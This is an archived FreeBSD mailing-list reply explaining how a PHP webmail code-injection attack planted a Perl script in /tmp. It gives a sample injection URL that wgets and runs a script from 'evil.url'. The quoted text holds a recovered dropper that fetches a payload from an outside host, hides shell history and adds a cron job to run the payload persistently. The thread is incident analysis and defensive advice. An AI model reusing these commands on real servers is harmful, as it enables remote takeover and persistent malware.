what www perl script is running?

[Jeremy Hooks]

Hi Colin.

I thought I'd just add my tuppence here.  Some time ago I suffered a
similar exploit, albeit on a Linux box, with Apache and a different
PHP web app (Horde if I recall correctly).

There are a number of ways your server could have been comprised via a
PHP webapp, and a mailling list probably isn't the best place to give
you a tutorial on the likes of cross-site scripting and code injection.
What I can do is tell you roughly how my site was infected via a code
injection - to give you an idea of how important it is to learn more
about it if you are running a webserver (espescially one with third
party web apps installed).

In my case, I was able to learn quite a bit about how the exploit was
performed by looking in my Apache logs.  Primarily because the attack
exploited an HTTP GET variable, so I could actually grep the name of

the script that was download from the logs.  Basically all it took was
for someone to construct a URL similar to the following*:

  http://www.myserver.com/vulnerable_script.php?unchecked_variable="some_value;
exec('wget http://evil.url/virus.pl -O /tmp/virus.pl');
exec('/tmp/virus.pl')";

All it needs then is a bit of code on the server side which uses the
GET variable verbatum to build a line of code without checking the
variable.  If the above variable were used in the construction of a
line of PHP, in an (extra) unsafe manner, you would end up with
several lines of PHP.  Clearly building code from a user supplied
variable is a very bad idea, and doing so without checking the
variable... - however it isn't unheard of in the world of third
party web apps (it isn't unheard of in in-house web apps either,
however because that are not so widespread there is less chance
that the exploit will be found, and probably less to gain from
exploiting it).

The attack against your server was almost certainly automated and most
likely not even targetted at you.  If you check your error logs, you
will probably see lots of 'file not found' and similar errors, testing
for vulnerabilities in ASP scripts and PHP web apps which you don't
have installed - in much the same way that you will have SSH login
failures for users who don't exist on your system.

Using an incoming and outgoing firewall is clearly a must on a
dedicated web server.  Running an outgoing server on your desktop is
a bit more complicated as you would probably want to allow certain
applications to setup outgoing connections.  I don't know how you
do this on a FreeBSD system.

However something that no one seems to have mentioned yet is running
an application level firewall to protect your web server, this is
particularly important if you are running popular third party web
applications.  Once a flaw has been found in a popular web app, it is
very easily for the malware writers to attempt to exploit this on
thousands of webservers.  A web application firewall, such as
Mod_Security for Apache (not sure what is available for lighttpd),
will check the traffic to your HTTP server for any irregularities,
known exploits and potential exploits.

HTH

Jeremy

* the URL I wrote probably isn't even valid, it is just a
  demonstration, so just treat it as psuedocode.

2009/8/27 Colin Brace <cb at lim.nl>:
>
>
> Colin Brace wrote:
>>
>> ahhhhh, another directory found in /tmp with files written by www called
>> .bash/ Contents here:
>>
>> http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz
>>
> Apropos of the contents of the above, a correspondent writes:
>
> [...]
> running 'strings' on /tmp/owned will show
> "HISTFILE=/dev/null
> cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
> cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
> echo '*/1 * * * * perl /tmp/tmpfile' >cron.job
> crontab cron.job
> rm -rf cron.job
> chmod 0100 /tmp/tmpfile 2>&1 >/dev/null
> perl /tmp/tmpfile 2>&1 >/dev/null"
> [...]
>
> So this would be the original mischief-maker.
>
> Just out of curiousity, can someone explain to me in basic terms how an
> intruder exploits a vulnerability such as apparently existed on my system
> (the RoundCube webmail package was apparently the culprit) to place the
> binary file "owned" in /tmp and execute it?
>
> Thanks
>
> -----
>  Colin Brace
>  Amsterdam
>  http://lim.nl
> --
> View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html
> Sent from the freebsd-questions mailing list archive at Nabble.com.
>
> _______________________________________________
> freebsd-questions at freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to "freebsd-questions-unsubscribe at freebsd.org"
>